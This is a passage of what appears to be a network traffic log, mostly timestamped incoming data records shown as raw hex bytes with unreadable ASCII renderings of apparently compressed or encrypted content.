54 f0 54 a9 65 f1 6a de c5 2b e7 61 2e f0 bb 68 4c 48 a3 d6 3b 1f bc 27 27 04 04 a8 a6 10 Data Ascii: Rnkj%2%9Arh2z<eq}Ybc,'j"tb 4q(njS~_1jN8/<pbf:O,b#3R[i=u#]M"~}&S x"h+h19(:TTej+a.hLH;''
2022-08-30 13:54:59 UTC	65	IN	Data Raw: b2 f7 11 ff 0e 7d 66 36 6a 2c bf f7 e2 de d0 39 08 42 70 e7 64 38 53 9e 12 3d a6 d5 18 e3 d9 a5 66 dc 17 8a b8 b1 54 e2 fb 9b 0b f7 61 0d 90 b4 2c 86 18 b2 f5 38 61 2f a0 65 11 dd 25 29 86 08 dc ce f3 6d 2f 65 2f 33 f1 d3 91 9a 57 97 db 7b 48 b1 06 b7 fe 6d 81 39 cc 8d 4d cf 17 34 a2 6c fa a8 69 66 f0 c2 29 1a 2d f1 ce 16 2f a4 e1 e1 7e b0 69 23 b9 7a 3a ac fa 49 ec 01 2b 64 62 c0 4b 2f e6 7a 74 2e cc 82 ab 59 b3 41 a4 6a b9 77 37 f4 b6 f0 2c ef 6d 3b b6 e2 ad 1d d5 ea e2 2d 28 a1 af 02 40 ed a3 2f 26 e2 2a ef 6e d6 d8 eb 64 06 06 26 6e 1e db e1 e5 af 28 e0 59 91 f3 3e a1 40 80 7a b8 8c 3d be 0e 7b b3 ee 73 fa e3 e9 86 c8 24 63 1b 5c 24 59 17 e9 a4 6b a4 6b be 75 f6 3e a3 6e 05 48 b8 76 c8 96 b7 39 a2 6b 7b 9c d2 da b4 c1 0d 6a 27 c9 63 d7 64 82 7c 59 5d Data Ascii: }f6j,9Bpd8S=fTa,8a/e%)m/e/3W{Hm9M4lif)-/~i#z:I+dbK/zt.YAjw7,m;-(@/&*nd&n(Y>@z={s$c\$Ykku>nHv9k{j'cd\|Y]
2022-08-30 13:54:59 UTC	69	IN	Data Raw: 01 a4 75 a9 5b 77 81 81 37 ed 5c fb 18 27 ff e2 0d d6 00 43 54 94 3e 23 7f 80 ae 62 97 4a 6f 16 ce 92 4b 55 b0 09 b0 00 85 41 b0 d8 84 32 b6 77 39 a8 1a 61 d2 c0 9f 4a 35 dd 7a 8b 7e eb ab 08 dd 73 2a f0 6d 4f 23 54 e9 cf 96 42 ee b2 21 82 94 5e e8 d4 11 24 93 5f 1d f1 c0 3a 34 de 5a b3 47 1d 00 4f 1f df ec 0d 0e da 52 96 5e 12 db d2 eb fa 77 13 e1 eb 8d 8e 3c e9 72 f9 24 b7 76 40 90 cf f0 55 31 44 b0 37 1b f5 fb 07 83 18 74 0f 37 5e b5 dd 17 c4 4d d3 26 bd 02 d4 6f c8 14 89 af d8 2e 28 0f d6 7c fe b2 4c 16 a7 f0 77 b2 49 80 4b 11 a3 53 ce 39 a8 1f 4f ab b7 04 c1 31 ec ea ea ec 7a 3a 31 d9 73 c9 fb 0a 11 eb 27 1d c4 9a 5c e2 c8 96 a3 f5 ed fd 21 bd e5 c3 c2 f3 c2 e3 d2 96 f3 0f e1 e1 1e 09 04 c1 4d 81 97 03 c5 4c 88 f2 74 c9 69 76 d5 e8 b5 e3 6e 23 9d 11 Data Ascii: u[w7\'CT>#bJoKUA2w9aJ5z~s*mO#TB!^$_:4ZGOR^w<r$v@U1D7t7^M&o.(\|LwIKS9O1z:1s'\!MLtivn#
2022-08-30 13:54:59 UTC	71	IN	Data Raw: d5 48 a0 c2 ed f5 4d 2a 24 3f f4 fe 92 ce 36 7e e2 b2 b0 e1 e4 af b4 fa 99 5c 9b 6b c5 44 5f 87 8f f1 39 ae ab c4 01 62 6a ab a1 d0 5f 1e 10 11 a0 9a 2c 7f 65 3f a4 2c fe 8f 8e fc bd bb 2e e5 19 db e8 67 3a df fe 67 1b 6a 26 b7 bb c2 cc 28 66 6a 6b a0 a1 3f f2 e1 c0 05 c0 76 dc 05 5f 7a 1a 2f 5b e1 7f 6f a6 d5 15 70 e8 65 a7 d3 02 85 d5 79 dd 88 e3 e5 64 28 26 a9 55 72 4d 66 ac af 62 1b 12 a9 7d 5a b9 91 aa 4a 87 ef e2 0b 86 aa f8 00 de e6 4f 8a 3c 79 a7 95 88 f8 e6 e9 a2 34 09 18 c8 ba 14 a0 65 0d 48 fc 3b ec 25 10 58 6e a1 60 7c 9d 06 19 d7 ee cd b2 d7 bb 3b ab ab 0e 9b b5 24 0a a3 ca 57 1a a2 af 66 77 7a aa 4e 1e cf 61 a7 15 a4 95 ff 5a b3 e1 11 16 8d 19 b0 e0 a9 61 22 6f a3 76 bf e1 68 33 aa fa 3c 7e 2c 76 3f 6e 1a 92 27 a4 40 32 e2 60 a7 d4 aa a0 20 Data Ascii: HM*$?6~\kD_9bj_,e?,.g:gj&(fjk?v_z/[opeyd(&UrMfb}ZJO<y4eH;%Xn`\|;$WfwzNaZa"ovh3<~,v?n'@2`
2022-08-30 13:54:59 UTC	75	IN	Data Raw: 54 da c5 7a bd 03 c4 f5 5e 3a b3 3c 42 a9 db 10 e1 e7 1e 18 61 e7 86 1e f0 e1 e7 de d5 88 59 40 c3 3b e7 3b b7 e7 26 27 06 f8 c5 75 2c ec 0b 94 f6 01 ad e2 be 39 05 aa 67 65 1f eb 1a 19 0f 29 05 d2 0f ab c8 2f 2c 55 a6 35 0b 2e 4e c7 a3 ad af ea c2 6a 42 ea d0 7e b2 ab 57 ad 27 19 60 97 e6 35 b7 3c 75 29 27 ec 3e 32 60 ea c0 79 96 62 89 2d c4 52 fe 0b 61 eb dc 15 04 62 1e e9 8b 6b d8 b6 1b aa 87 27 aa 3a 34 05 47 ed dc 7a 4b 12 92 ab 2f 6d 1f d4 ff 6b 57 cd 5f a6 84 78 35 40 99 e3 9a 5b 35 fb 8e 87 ed 8e d3 b6 67 ba 7a 47 6f c7 52 d0 31 7d f4 53 5b a7 11 0c c9 b3 20 6a cb 23 63 98 85 aa 66 52 5f aa bb b1 63 6d 13 32 cf 9f 91 2d 2a bb c7 da d0 80 06 7e 01 e5 6d 21 ef 2c a0 8a 35 49 7a a4 e8 a1 63 c9 46 eb 48 15 91 85 1b 8b b3 29 db 89 ae 1b d3 78 45 8b 57 Data Ascii: Tz^:<BaY@;;&'u,9ge)/,U5.NjB~W'`5<u)'>2`yb-Rabk':4GzK/mkW_x5@[5gzGoR1}S[ j#cfR_cm2-*~m!,5IzcFH)xEW
2022-08-30 13:54:59 UTC	78	IN	Data Raw: 4a 7d 12 ca 27 eb 2b 90 d0 91 5b f8 f6 80 04 90 dc 72 bc ea d5 93 ac 61 2c b7 e9 59 4e 93 5d a4 a8 26 13 17 dd eb ca 2e 0f b5 f2 17 fd d0 c8 bc 9f 4e 16 96 24 2d 6f 67 d8 0c be 16 da 62 84 8e e1 ae 16 13 eb 5b 50 ea 26 e4 6b 96 07 6a c9 d4 7e 01 c7 79 56 8f e3 68 a2 b7 f5 74 25 25 51 b7 8d 36 a2 f8 2c 3d 53 e6 c0 b9 77 aa 69 50 18 92 c4 f7 6c 39 70 a6 9a 9d 6d 9c 9f a5 21 fc 7f a7 ea be 3a 23 73 f7 de 11 22 a4 a0 3a 3e a4 f4 f7 69 bc 38 19 da 96 d0 96 dc 55 54 21 7b 3d b7 ff d4 17 e2 ab e7 ed 6f 69 6e 25 d4 15 61 31 bc 65 e8 d5 dc 26 ed eb 99 d1 ba b1 f0 51 8c a1 97 1c a9 38 9e 33 16 62 d2 16 4d ed 01 ac a3 e7 6e ad a0 1e 50 3b 7a d1 c7 21 37 e1 e4 6d c8 87 e4 2f 19 79 4a bd c3 8b fe ec 06 84 25 82 8f ac 96 ae 1f a2 e0 e5 10 56 37 77 2e fe b4 16 57 13 d5 Data Ascii: J}'+[ra,YN]&.N$-ogb[P&kj~yVht%%Q6,=SwiPl9pm!:#s":>i8UT!{=oin%a1e&Q83bMnP;z!7m/yJ%V7w.W
2022-08-30 13:54:59 UTC	82	IN	Data Raw: 44 26 61 65 22 94 23 6a a7 2c 02 76 27 ea a7 e9 da 96 1d c2 b7 76 fb 25 ed ee 36 68 0a 9c 52 82 b6 68 de b7 03 13 ec f7 4d 2c b3 7a cf 5a 84 14 b2 85 8e 39 3a b2 12 18 a4 7a b3 a4 e0 a4 c4 6e b4 94 35 8d 1e 6b eb 78 11 88 dc 1d 90 97 62 63 f2 b4 c0 d0 f1 3d c3 a6 d3 10 6f 2e d6 66 d3 40 93 30 68 e3 f1 b5 d2 96 d1 d9 18 65 17 d6 2c 07 4e 57 ca b1 69 27 15 d1 3c 49 1f fc 56 0c 24 d1 9d 67 ed e5 3c 6b f2 6d 82 5d b7 4d 05 2f 68 e1 9e d4 a4 4c 80 88 55 84 4d bb 26 2b a3 7a 8a 64 b3 4d a7 65 2c e8 06 cd b2 7f 89 83 3f 6b a4 f5 69 6e af 76 98 49 b8 01 ad 7e ee 08 6a a6 93 75 0b eb ad 27 c7 61 dd 7a 60 eb b1 3b a2 91 4d 93 4b 2a e3 7e 3c e7 2a 2f 96 95 f7 46 58 11 5d 1d cd 8a 58 7f 2e b5 e0 7e 32 2f de d7 64 a9 23 d0 d9 ef 36 c5 4d b5 9d 9a e5 a3 a8 d5 f6 00 26 Data Ascii: D&ae"#j,v'v%6hRhM,zZ9:zn5kxbc=o.f@0he,NWi'<IV$g<km]M/hLUM&+zdMe,?kinvI~ju'az`;MK~</FX]X.~2/d#6M&
2022-08-30 13:54:59 UTC	83	IN	Data Raw: 52 9c c2 18 0e 80 3e 66 23 e5 e8 31 50 22 86 50 03 99 9b 3a 67 f8 65 b9 e0 e7 a9 ec a7 ac 20 5b bb cf 6f 81 54 92 2e 2f 4c 8f 84 4b 8d 58 9f ad e7 9c d4 f9 36 1a d6 7f 74 8f c6 48 fe 52 60 ee 56 da 5a 1a 1e 38 f3 5e c3 0f 2a 82 c2 df 09 f0 f6 be d6 18 2e aa f8 f5 6f 31 d5 60 c7 41 4d fb a6 69 6c 52 82 67 2e 2e c7 42 2e 2f 19 20 32 ea 87 63 f9 c3 88 31 dc 9a 8e c4 2f 74 bc b4 70 a9 44 9b ff 1f 2c 3a 8f 27 a4 73 8f 0d 4c 05 b3 0e 43 85 0e 2d 43 05 0c 1c 79 68 f9 bb 4f 12 32 8c bb 6a f8 a3 4b f2 da 12 bf 39 a4 b1 2f 96 68 a5 4d 4d 95 1a 53 07 42 66 a6 d3 03 03 8b 00 36 ce 24 e0 78 31 2e 65 7a ee fd ed a8 b4 1f f5 d9 64 21 a0 e0 85 4c 67 e1 b3 39 12 de ee 6c 39 49 12 42 05 23 da ec 0a 4a 80 73 a6 58 86 18 aa 23 d2 e4 b7 c0 c6 78 d4 fc 1e 87 60 23 e0 27 81 8f Data Ascii: R>f#1P"P:ge [oT./LKX6tHR`VZ8^*.o1`AMilRg..B./ 2c1/tpD,:'sLC-CyhO2jK9/hMMSBf6$x1.ezd!Lg9l9IB#JsX#x`#'
2022-08-30 13:54:59 UTC	86	IN	Data Raw: 36 f2 2e 3a 0f fb ba 0f b5 60 93 c1 3d 6f f9 dd 4f b2 5f b2 79 df 6c 3e f3 2f bb ce 44 03 e5 da 07 49 c2 58 ae 33 e0 ac d3 d6 f2 97 32 5b 03 e4 26 fc de ac 27 ca 38 70 af 31 db 46 93 7e 87 37 9c 5e ae d6 26 8b 42 53 95 27 a6 2d e1 6e f1 1f d7 99 0e 73 e0 be 9a 50 13 49 b4 65 2d 8d 69 d6 b3 e5 31 57 f7 07 3a 90 ab bc 2b b9 2e 40 04 75 0e f0 65 61 b1 18 90 03 86 39 9c 88 3a f7 e2 16 42 9c 07 f9 b9 06 45 09 87 1c fd 46 d5 6e 85 9b 59 43 54 8a 15 da a4 15 a2 71 24 2a db 6a 2c 26 0f e1 ae a9 02 19 d4 8c 6a a1 67 fd 34 38 57 bb f3 42 f4 a3 61 70 f1 bd 49 1f 52 90 5a b4 6c 8a 5b c3 97 93 e6 74 24 0a 8f 23 f2 70 ad 1b e9 5a b7 f1 82 cb a7 22 6c 52 9c 48 0b ea d0 73 47 e7 68 9b 55 3e e4 c3 4d f3 0b c6 a0 25 d8 b9 5f fb 9d ea 70 56 f7 fa 0f 42 f0 29 2a 60 25 6a 61 Data Ascii: 6.:`=oO_yl>/DIX32[&'8p1F~7^&BS'-nsPIe-i1W:+.@uea9:BEFnYCTq$j,&jg48WBapIRZl[t$#pZ"lRHsGhU>M%_pVB)`%ja
2022-08-30 13:54:59 UTC	89	IN	Data Raw: 1c 2b 46 01 af 3e 3e 26 10 29 5a ac 28 0b 01 20 28 50 10 3c 38 a3 f1 3d 56 c2 79 34 9e 8d a7 95 17 45 a7 0d a1 1b c9 ff ea 97 6f ec 6a 8c ff 33 9a 5d 02 e9 2e 1b eb 86 cd 23 bf 02 ec 38 c6 7e ca 3f 00 c3 04 1a 50 3f 79 7e 5a 09 ba 26 f9 e9 5c 06 3b f2 71 2f 3c 02 df 67 91 af 2d 1d 5b d5 d7 5a 2c 23 5e 82 01 f7 11 6f e7 b1 3b c6 0c 60 13 85 1c bb 87 11 1b fc 37 68 2b e3 80 cb af 31 a2 82 18 ea 69 1e 5a da d7 6f 52 a7 14 12 25 e2 ee e2 11 e3 56 5f 66 f9 35 4b ba 52 5c 64 3e a2 ee 83 f1 be fd 52 4e e6 f9 be 2c 63 9a db a2 ed 9b a7 5d 96 82 08 5d 9a 5c 27 49 0e d4 36 82 7a 8a ce 02 32 8c a1 28 a6 e6 e7 68 15 13 2e e3 a2 6b e7 6a e5 68 2f dd 68 0c fa d7 c5 19 1e 73 a8 91 5b 7b 56 c8 61 33 f5 99 3c 4f 3d 70 7c 39 6d 2d bd 77 c3 86 ca 06 e5 26 ae cf 87 43 13 36 Data Ascii: +F>>&)Z( (P<8=Vy4Eoj3].#8~?P?y~Z&\;q/<g-[Z,#^o;`7h+1iZoR%V_f5KR\d>RN,c]]\'I6z2(h.kjh/hs[{Va3<O=p\|9m-w&C6
2022-08-30 13:54:59 UTC	93	IN	Data Raw: ff 4b 62 45 89 97 25 31 e9 f4 81 54 23 6e 74 b9 ed 25 27 b1 14 c6 52 9f 0b cb 69 23 b6 fc 69 3d 3f 77 f3 6b d7 d4 21 c0 88 1e a5 9c a2 e2 26 9e 9a 22 26 e7 a0 ec 0e 73 b6 83 28 aa 20 a7 27 af e3 6d 1d 16 3d 0d 0e 3a af 19 18 4f 6a b9 13 1a b1 c6 81 44 68 15 d8 4d 8b 9d 81 78 29 fb aa fe b0 a4 3a fc b4 e2 d2 87 34 28 60 b5 3a f7 49 96 88 08 2f 2c 3c b1 a1 63 31 38 a6 f0 6a ec b4 f0 cc 82 b7 28 e0 6c 3a 8d c2 bd ed 12 23 f6 f1 54 ad a8 29 25 22 6c 14 10 b6 ec 36 6c af a9 c2 33 e0 61 50 e3 40 83 a1 bc 54 48 1f 93 6b c6 a4 56 31 2a 62 87 71 96 a7 a1 74 3e 6f e5 db 77 8b bf 70 b5 ea 97 3a 72 49 6d 57 4e 53 03 94 f8 4c d1 14 28 4d 82 b6 fd 79 e3 6b 7d 94 e2 d9 47 be 17 6c 82 69 6d fe c8 61 3c c0 f0 37 83 04 c0 8c 3f 38 e3 44 ac 22 ff d2 76 a5 35 e7 b1 e0 c6 7e Data Ascii: KbE%1T#nt%'Ri#i=?wk!&"&s( 'm=:OjDhMx):4(`:I/,<c18j(l:#T)%"l6l3aP@THkV1*bqt>owp:rImWNSL(Myk}Glima<7?8D"v5~
2022-08-30 13:54:59 UTC	94	IN	Data Raw: 7b 9c d6 ef 5b e3 db 61 7a 30 2e 3d 00 00 dd 04 ac 95 2f 01 30 e7 2a 2f 96 95 d0 3d 78 e0 da 9d c8 16 4a 6b a2 e4 f4 59 14 b9 61 2f ef af eb d7 82 b8 5d f3 57 31 cc c9 de 91 18 b8 cb 69 1c 86 72 6b 27 65 ec e8 ec d3 9b 06 d6 56 2e ed 03 91 9f 2e bd 32 f4 32 16 e5 f4 40 0d c3 25 e0 4e 8b 0e cf 83 c2 a5 c1 f2 e3 d6 a0 c8 a2 6e 6f ca aa 67 a5 5c 02 ed b0 a4 54 57 20 8d a2 7b f9 ff 6a 38 b3 13 30 f0 3a 7c a6 f4 81 68 a5 4d 3d e5 6a a3 31 a6 bf ef e8 9a d4 79 7e af ae 7a 92 73 7e dc bb 2b 92 5c fe 2f 72 d5 9d e2 a5 2c 3e e6 1b 40 e0 a5 91 73 cb 4e cc a9 4b 46 69 5b 41 f0 66 2d 70 b8 e8 a1 a9 27 8c 13 7f 2c 2e af 2a 4b a0 05 49 85 68 46 8d bd 56 82 4f 94 f2 a4 2d 80 fd f8 4b 2d d4 0e b5 d9 0d aa 1d ec 01 c7 0a 67 21 ac 4a 53 b7 2a 29 b0 da 56 6b 48 43 21 fd 6c Data Ascii: {[az0.=/0/=xJkYa/]W1irk'eV..22@%Nnog\TW {j80:\|hM=j1y~zs~+\/r,>@sNKFi[Af-p',.KIhFVO-K-g!JS*)VkHC!l
2022-08-30 13:55:00 UTC	97	IN	Data Raw: 1f d0 65 67 24 b6 d8 22 8e 9b e3 c5 7a b3 a5 f8 61 cb 60 41 ef 16 a8 1c e2 1e d5 ef 28 23 02 22 48 da 6c e0 92 e0 a6 95 08 2a f0 16 e1 e3 21 1c 3e ac 5c 8e ea 35 19 63 6e 22 c7 6a 24 2d 67 2e ff 51 06 db 64 57 34 dc f3 b6 c5 eb 15 b3 60 af 52 25 74 90 e6 52 27 f5 cd 99 3e fc 3d 3f e7 28 c0 3e 35 30 38 a2 da e4 37 80 eb a6 15 b2 84 e2 e1 5f 64 05 47 a2 d0 ee 76 4f 9e 9c 80 ac 46 52 70 85 d8 08 e8 d7 48 7d 48 b2 98 0f 41 57 58 57 db 6a d1 2c 98 7a f8 2a 06 d3 bf 11 d9 7f 3a b2 0a 11 c8 86 af eb 6b d7 35 32 7d 29 86 c6 40 a1 a1 c6 e5 97 85 55 a5 0d e4 3b ca 96 46 18 04 1c 40 71 11 80 f2 be 28 a5 0c 07 e2 2a 27 0a af 89 eb d3 a6 10 0f a7 47 88 08 2d bd 9d 4d 34 f4 64 fe b4 5b ef 57 e1 72 48 f0 1f 81 d3 9d 91 a5 e1 73 c3 d6 34 02 08 bb e1 d7 f7 ce 7a fc 2e a7 Data Ascii: eg$"za`A(#"Hl!>\5cn"j$-g.QdW4`R%tR'>=?(>5087_dGvOFRpH}HAWXWj,z:k52})@U;F@q(*'G-M4d[WrHs4z.
2022-08-30 13:55:00 UTC	101	IN	Data Raw: 73 12 1a f7 96 91 90 1d 14 97 ca 10 29 66 eb 22 cb cc 50 92 af 6f 95 6c 54 c8 13 34 58 20 48 c3 8c 65 15 d9 d3 a3 ef aa 22 1d f8 73 ac 67 ac 73 ad 72 bf b2 e1 4e 1c 88 0c c4 59 2c 6e 02 ba 44 ac c6 cd 91 eb 37 48 e2 c3 ec 0e 2c 9b 08 71 1f c9 63 bd af f4 24 6d d7 07 af 6c 39 bc c4 be 1b ff 66 6e 28 39 fa 34 09 fa 44 49 86 3b 92 1f 94 9f 63 09 3c 90 ff c2 57 9a 01 e9 e7 1a 5c ea ef f2 a3 b4 55 ad 0c 25 d1 0f e8 94 19 de 07 f3 39 bc 63 d3 d7 6d 9f b0 9e 32 a8 eb 3d 4e 89 f4 71 b1 61 65 b4 32 b7 44 9a f6 37 e1 9f 49 a7 f2 94 e2 b5 86 6a 9e c1 f3 6a 00 02 60 25 6a 2e 25 20 1a f7 0b a6 81 54 b2 58 99 47 81 42 49 57 9b 60 2e 55 19 34 fb 06 bb d6 7f 74 eb cd 04 e4 2d 53 da a1 91 d3 c0 80 e7 6a 30 36 99 49 e6 92 00 a4 ba a7 ef ca f2 6e 47 28 62 05 02 84 00 f1 b5 Data Ascii: s)f"PolT4X He"sgsrNY,nD7H,qc$ml9fn(94DI;c<W\U%9cm2=Nqae2D7Ijj`%j.% TXGBIW`.U4t-Sj06InG(b
2022-08-30 13:55:00 UTC	105	IN	Data Raw: 7f 0e 65 ce 5c 36 83 6a db 37 41 e8 1e 68 a6 95 58 6a e8 db 4d 9e 33 a4 62 06 c0 e1 94 90 ef d3 1f ff b2 aa 68 f1 f2 20 ed 68 ef 85 a6 e7 4b 66 9d 98 a5 c8 c6 23 07 a4 c8 a3 03 0e d8 5a 28 6b 7e 3b 9d 71 4f 13 8a be a7 ad 63 66 68 d7 9b 6a fa 36 d3 18 21 97 d6 66 96 1a 90 14 47 22 87 ac 60 9d a7 61 ed 5c d5 5d ba b1 6d a9 ac a9 65 ac 63 08 44 77 b8 62 7c 71 ec 11 a0 e0 82 3d 48 41 d1 5f b9 ff ef 73 da 4b 17 1c 6b a6 32 24 7c 5d 80 99 e8 43 ea 60 cd c3 74 c2 dd 86 08 ec 7a b0 ed 20 a0 05 cd 95 4d b7 2d 6c e7 7e b7 6d 5f 80 7e a6 a5 00 4f e3 aa 6e 67 55 4d 8b d3 e8 25 ba 08 80 96 0f e2 7e 75 a1 ae eb ca a2 80 69 a7 00 da 6d 5f 38 ab dd e7 91 18 05 cf 68 fe fe 43 e0 bc bd cd 7f ff ab 23 d3 52 2a b3 cf 56 2a bb e5 99 87 e7 5e 3a 83 e7 56 3e 8e e6 fb 51 80 3e Data Ascii: e\6j7AhXjM3bh hKf#Z(k~;qOcfhj6!fG"`a\]mecDwb\|q=HA_sKk2$\|]C`tz M-l~m_~OngUM%~uim_8hC#RV^:V>Q>
2022-08-30 13:55:00 UTC	110	IN	Data Raw: c9 7d 94 ac e1 db d2 41 47 ea ac 8c 06 f0 2a 08 e2 dc 31 ac de 66 c3 b9 94 4d a1 e8 ba 59 49 63 a5 ec 2d f1 58 c2 30 a6 8c e3 f9 08 d0 5f 1d 11 36 d8 31 80 35 c1 6a a4 77 5b 4d 43 7f b8 94 52 60 2c 67 9e db 27 db 31 85 be 39 fb 26 c4 3e da 20 9c 1d eb fc 7d 26 b4 35 eb 65 53 2e 3c 02 eb 38 bf 20 31 25 93 6b a7 4d 57 66 b4 4c bd 31 a5 c8 4a 4b 4f b4 2d d0 e9 7c 14 fa d4 75 85 7a 4a db 73 dd 84 1d e1 45 45 f2 30 0a 35 9a 32 bf 0e 6f b6 d2 80 bb fa 4d 4c df 8c 20 f2 1c de be 32 b5 50 6e bc 73 1d b0 d2 5e 99 c4 31 f7 6d 3f 72 53 56 52 d9 19 d9 04 fb 0e c3 7f 52 df 60 e2 a7 00 df fa 91 82 46 b1 bf 23 7a e0 0c b2 37 55 bc b7 ef 63 b8 00 b2 4e 47 5f f6 64 04 6a 5d a4 3f d8 b5 58 65 ef 53 b2 2e 9a b7 eb c7 8b 58 95 a7 69 6c 39 5e 5e 41 b0 e8 ae 46 fa 7b 25 65 5b Data Ascii: }AG*1fMYIc-X0_615jw[MCR`,g'19&> }&5eS.<8 1%kMWfL1JKO-\|uzJsEE052oML 2Pns^1m?rSVRR`F#z7UcNG_dj]?XeS.Xil9^^AF{%e[
2022-08-30 13:55:00 UTC	114	IN	Data Raw: fc 6f f0 0f c1 5e 9d e3 dc 90 d6 81 38 2d 6e 01 45 0a ce e8 2c 9a 77 2b 54 da e9 56 1f 28 8d e8 85 48 a4 6b f9 58 40 a7 8d 8d a2 50 12 eb 20 e4 68 70 70 a7 cd 6d 8c ab 5d 89 70 22 38 3f 2e 76 a6 fa a8 bd f7 8b 41 55 10 24 76 9b 46 18 d2 e5 5c 18 22 10 2c b3 db f9 e6 19 dc a2 22 69 c3 70 82 44 8e 77 d7 07 3e cb fe 16 a3 1f c3 0b ec 1f b5 43 93 29 34 cc d3 2b fb 34 9b dd 2a 47 55 f8 d5 0b ef 7e d5 25 15 41 18 33 cd 7d 9c a2 13 39 a1 05 8d 2d 44 b2 48 e3 bd 8f 3e 7b e8 1c 9c 73 7c bb bb 77 a9 79 b8 75 a8 37 d5 46 2c ef 92 08 fa 61 ef 74 d4 44 23 fc a5 ed 38 35 d4 49 8a 59 c9 4b da f6 18 5f 18 28 69 12 d5 e9 0c c9 68 70 f5 26 cf c9 7a 50 bb 32 a4 19 27 0a e0 f5 ee 01 eb 5f bc 4f 69 20 67 07 a0 17 ad 0d 4d c8 b4 bf b2 c6 2e 3d 00 1a 43 ae d6 0e b7 48 f5 de 4f Data Ascii: o^8-nE,w+TV(HkX@P hppm]p"8?.vAU$vF\","ipDw>C)4+4*GU~%A3}9-DH>{s\|wyu7F,atD#85IYK_(ihp&zP2'_Oi gM.=CHO
2022-08-30 13:55:00 UTC	115	IN	Data Raw: cd 7e a7 e1 7a 14 06 bd d1 36 cc 4d c8 d5 7b de 36 7b 48 c4 e5 1c 90 a0 e8 eb c9 42 33 01 06 6b 18 2d 01 89 5f 0f dc 6e d2 33 b8 99 65 d1 1e b8 75 e9 de 94 ac 2a 68 2b 65 bb 5e 91 44 90 4e 4f a0 d0 2e 5a a9 2a 20 2f 2e 75 fc 01 4d 90 5e d7 dd 5f 96 1e f2 5a 3c a7 e5 53 c8 3f ba f3 25 db 14 1d c7 df 62 7d d0 7e 77 f4 70 a4 f8 ca e4 30 49 17 14 ab 64 11 75 4f 2d 5a 42 17 01 e1 e9 14 56 4a 4a e7 cf 83 a1 14 3f 87 08 8a e7 15 fe c5 ba fe 21 4e 06 e8 de 92 d9 0f 3d f9 4d 96 dc 10 52 ae 7a 8e 9b 47 79 7a 77 3a af 72 bf c3 78 85 86 8c a1 61 6d 20 e4 21 ed 83 04 e9 d9 78 cb 65 ec e6 d7 57 22 7a f5 20 58 7c 6d 8b bc bb 4e 80 6e 61 8f 87 e2 a0 6c eb a7 4b 42 44 4d 9b a6 9a 63 bd 53 44 2e e9 d1 07 b1 d2 57 77 cf 68 96 c6 3a 5b 06 ca 97 fa 07 c8 94 19 44 7b dd 00 b6 Data Ascii: ~z6M{6{HB3k-_n3euh+e^DNO.Z /.uM^_Z<S?%b}~wp0IduO-ZBVJJ?!N=MRzGyzw:rxam !xeW"z X\|mNnalKBDMcSD.Wwh:[D{
2022-08-30 13:55:00 UTC	119	IN	Data Raw: 4b b7 97 a9 48 83 64 6a 9e 91 6e 26 10 ec cf b2 6a a8 e7 27 88 47 7f 0a 7d a1 ad 97 c3 50 89 85 41 46 e8 7b 37 c9 4f 24 82 fe 27 9b 6a 26 00 6d 49 1f de f2 91 49 d6 7c 93 71 6f 6c ad 1e 8c b1 2d a5 90 2c 18 a5 1c d3 69 f1 4b d3 6e d7 1e a2 1b d3 6c d5 1e a0 38 86 1e af 16 d3 63 da 1e ad 14 d3 61 f9 4b d3 66 df 1e aa 13 d3 64 dd 1e a8 cc ee 87 6c bc e5 36 43 50 5f 37 02 92 c6 f1 78 90 b1 2b 0a 0e 0c 79 78 67 aa ac 7c 78 67 a5 bd 7f 5e 11 49 0f c2 d7 75 5f 40 b8 34 6a e2 ce d9 14 c4 76 aa ea 34 43 14 32 b5 41 49 fe c8 65 5b f6 e9 9b 85 47 89 4b 85 44 8b 4a 85 14 d5 b4 57 48 d9 18 89 48 d9 18 8a 4b d8 5a ef 9e 45 75 fb 3b f1 3c 7b b7 53 2a 1c 6a 58 6a 5b 93 9c 4c 50 7a ac 98 00 bf eb f2 a3 6c fe ad a8 ad ac 3f 79 0d 16 de 7e fd 02 68 a7 6e fb 32 9b dd 69 2f Data Ascii: KHdjn&j'G}PAF{7O$'j&mII\|qol-,iKnl8caKfdl6CP_7x+yxg\|xg^Iu_@4jv4C2AIe[GKDJWHHKZEu;<{S*jXj[LPzl?y~hn2i/
2022-08-30 13:55:00 UTC	121	IN	Data Raw: a7 a0 ea 3d 7a 41 c7 ff f6 f9 9f 9b fd c0 8e ba 77 49 93 5c 9a fc 63 df d4 2a bf b9 47 b1 4a cf ce fd 57 bf 0f e7 16 01 ff d2 1f 4e 4d ab 22 2f 19 1f ee 6b 67 2e 60 68 a6 a9 5c 87 03 f4 c0 f1 f2 f3 f0 2a ea f2 b1 61 63 a9 2a 9e 1b 84 0b 10 5f 1e d5 6c a4 47 63 8b 2e 10 5c 1d d9 70 34 c2 82 e2 87 ec 88 31 e6 f5 28 13 0a db f0 21 0e 35 2e e0 3f 66 03 59 2e 88 03 a6 63 9e 5f 2b 2d eb 26 a4 1a 12 32 54 9c bb a7 53 5d e8 69 9d 1c 81 48 2b e0 6c 41 c7 f3 59 d0 cb 68 df e1 ca d3 5e a9 04 6f bf eb 39 cb c4 62 3f 3e e7 1a 58 61 07 b4 19 3b 77 86 88 fa 34 46 ca ff f2 ac a4 0e d8 a2 b8 2f 0b c2 ae 86 ef 9d 6b 7a 21 90 97 9d 93 e2 cf 64 f5 e6 dd 79 37 ee 55 93 3c bb e1 6e 2c 28 fb 3e 29 9c 81 3c 93 d9 65 44 03 e2 2d 6e 28 b7 f1 fc 91 d9 33 ae 90 79 2a d2 07 9e 29 62 Data Ascii: =zAwI\cGJWNM"/kg.`h\ac_lGc.\p41(!5.?fY.c_+-&2TS]iH+lAYh^o9b?>Xa;w4F/kz!dy7U<n,(>)<eD-n(3y)b
